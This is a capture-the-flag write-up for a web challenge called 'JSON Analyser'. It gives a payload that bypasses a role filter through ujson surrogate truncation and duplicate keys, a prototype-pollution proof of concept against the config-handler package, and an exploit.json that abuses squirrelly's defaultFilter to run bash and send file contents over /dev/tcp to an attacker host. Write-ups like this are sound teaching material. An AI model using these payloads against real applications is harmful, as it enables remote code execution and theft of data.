tl;dr 
Json_Interoperability - /verify_roles?role=supersuperuseruser\ud800","name":"admin 
Prototype_Pollution - {"constructor":{"prototype":{"test":"123"}}} in config-handler 
 
 
Challenge points:  1000Challenge Author:  1nt3rc3pt0r Source Code:  here 
Challenge Description Welcome to JSON Analyser. Verify your role and get Subscription ID. Then start looking into your dump json file.
Solution Part - I: Looking into the source, one can find that the player has to get subscription_code first inorder to upload a Json file.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 if "superuser" in role:     role=role.replace("superuser",'') if " " in role:     return "n0 H3ck1ng" if len(role)>30:     return "invalid role" data='"name":"user","role":"{0}"'.format(role) no_hecking=re.search(r'"role":"(.*?)"',data).group(1) if(no_hecking)==None:     return "bad data :(" if no_hecking == "superuser":     return "n0 H3ck1ng" data='{'+data+'}' try:     user_data=ujson.loads(data) except:     return "bad format" 
 
The goal is to bypass waf and get subscription_code.
Payload:
/verify_roles?role=supersuperuseruser\ud800","name":"admin  
This happens because of Character Truncation while using ujson and last-key precedence when duplicate keys exists.   read_more_about_this  
 
Part - II: After retrieving subscription_code, players can now upload their json file providing subscription_code and get it’s preview
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if(req.body.pin !== "673307-0496-1001122"){     return res.send('bad pin') } if (!req.files || Object.keys(req.files).length === 0) {   return res.status(400).send('No files were uploaded.'); } uploadFile = req.files.uploadFile; uploadPath = __dirname + '/package.json' ; uploadFile.mv(uploadPath, function(err) {     if (err)         return res.status(500).send(err);     try{         var config = require('config-handler')();     }     catch(e){         const src = "package1.json";         const dest = "package.json";         fs.copyFile(src, dest, (error) => {             if (error) {                 console.error(error);                 return;             }             console.log("Copied Successfully!");         });         return res.sendFile(__dirname+'/static/error.html')     } 
 
as you can see package.json file is replaced with uploaded file and then it’s been loaded by var config = require('config-handler')();
config-handler is vulnerable to Prototype_Pollution
poc.json
1 2 3 4 5 6 { "constructor":{     "prototype":         {"test":"works"}     } } 
 
poc.js
1 2 3 4 5 6 7 8 9 10 11 12 const express = require('express'); const app = express(); port = 8081 app.get('/', function (req, res) {     const config = require('config-handler')();     console.log(test)     console.log(config) }); var server= app.listen(port, () => {     console.log(`Example app listening at http://localhost:${port}`) }); 
 
Part - III: From the Dockerfile it’s clear that user needs to get RCE inorder to retrieve flag. Now players need to Leverage the Prototype Pollution in config-handler to gain RCE using squirrelly-js module.
exploit.json
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 {     "name": {       "__proto__":{          "defaultFilter" : "e'));process.mainModule.require('child_process').execSync('/bin/bash -c \\'cat /* > /dev/tcp/<ip>/<port>\\'')//"       }      },     "version": "1.0.0",     "description": "",     "main": "app.js",     "dependencies": {       "config-handler": "^2.0.3",       "express": "^4.17.1",       "express-fileupload": "^1.2.1",       "nodemon": "^2.0.12",       "squirrelly": "^8.0.8"     },     "devDependencies": {},     "scripts": {       "test": "echo \"Error: no test specified\" && exit 1"     },     "author": "",     "license": "ISC"  } 
 
Why defaultFilter? see_here 
Flag: inctf{Pr0707yp3_P011u710n5_4r3_D34dly}